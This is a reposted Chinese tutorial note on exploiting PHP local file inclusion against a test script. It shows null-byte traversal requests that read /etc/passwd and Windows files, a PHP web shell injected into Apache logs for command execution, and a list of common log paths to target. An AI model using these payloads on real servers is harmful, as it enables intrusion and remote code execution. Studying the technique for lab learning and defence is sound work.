网站地图    收藏   

主页 > 后端 > 网站安全 >

PHP本地文件包含(LFI)漏洞利用 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 这次学习的主要参考资料是:http://downloads.ackack.net/LocalFileInclusion.pdf实验代码:如果是在linux上,直接提交:test.php?for=/etc/passwd%00即可显示该文件。?php include($_GET[#39;for#39;].lsq......

这次学习的主要参考资料是:http://downloads.ackack.net/LocalFileInclusion.pdf
 
实验代码:
 
如果是在linux上,直接提交:test.php?for=/etc/passwd%00即可显示该文件。
 
<?php
  include($_GET['for'].‘.php’);//用于测试本地包含漏洞
 ?>
 
 
 
如果是在win上,提交:test.php?for=D:\tools\readme.txt%00,就可以了,跨目录跨盘符。这里要注意,对于过多的”..\”,360会自动拦截,比较好的办法是使用ie或者ff。
 
但是光是浏览文件是不够的,我们还需要webshell。可以使用log injection的方法。这也是我作这个记录的主要目的,这才是重点所在。
 
这里,思想的核心是要将php代码注入到log中,比如,我们可以将:
 
<?php $s=$_GET;@chdir($s['x']);echo @system($s['y'])?>
 
注入进去(浏览器的自动更改实在太烦人)。注:friddle2不会对针对本机的访问过滤,我就输入本机的地址:192.168.0.1。
 
然后访问:test.php?for=/var/log/apache/logs/error_log%00&x=/&y=uname,这是针对linux。如果平台切换到win,可以访问:test.php?for=..\apache\logs\error.log%00&x=.y=dir,会显示当前目录文件。
 
当然,我们也可以将日志记录到access.log里,但那样会更复杂一些,因为需要包含的文件会更大。
 
参考文献还提到了:使用linux的/proc/self/fd进行注入的方法,我对linux不熟悉,所以也没有细看,以后需要的时候再了解吧。
 
额外的发现:
 
360浏览器有个奇怪的特性,当访问http://www.baidu.com/search/error.html%00../../../../../../tools后,会访问一下目录:D:\Program files\360se\tools 看看有没有这个文件夹,这里有问题吧?TDH
 
D:\Program files\360se\360se3\http:\apache\logs\error.log%00&y=dir和http://192.168.0.1:88/test.php?for=..\..\..\apache\logs\error.log%00&y=dir,这两者之间的关系是怎么得来的?
 
附录:
 
1、可能的log路径、
 
/etc/httpd/logs/access.log
 /etc/httpd/logs/access_log
 /etc/httpd/logs/error.log
 /etc/httpd/logs/error_log
 /opt/lampp/logs/access_log
 /opt/lampp/logs/error_log
 /usr/local/apache/log
 /usr/local/apache/logs
 /usr/local/apache/logs/access.log
 /usr/local/apache/logs/access_log
 /usr/local/apache/logs/error.log
 /usr/local/apache/logs/error_log
 /usr/local/etc/httpd/logs/access_log
 /usr/local/etc/httpd/logs/error_log
 /usr/local/www/logs/thttpd_log
 /var/apache/logs/access_log
 /var/apache/logs/error_log
 /var/log/apache/access.log
 /var/log/apache/error.log
 /var/log/apache-ssl/access.log
 /var/log/apache-ssl/error.log
 /var/log/httpd/access_log
 /var/log/httpd/error_log
 /var/log/httpsd/ssl.access_log
 /var/log/httpsd/ssl_log
 /var/log/thttpd_log
 /var/www/log/access_log
 /var/www/log/error_log
 /var/www/logs/access.log
 /var/www/logs/access_log
 /var/www/logs/error.log
 /var/www/logs/error_log
 C:\apache\logs\access.log
 C:\apache\logs\error.log
 C:\Program Files\Apache Group\Apache\logs\access.log
 C:\Program Files\Apache Group\Apache\logs\error.log
 C:\program files\wamp\apache2\logs
 C:\wamp\apache2\logs
 C:\wamp\logs
 C:\xampp\apache\logs\access.log
 C:\xampp\apache\logs\error.log

摘自 http://kingbase.org

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论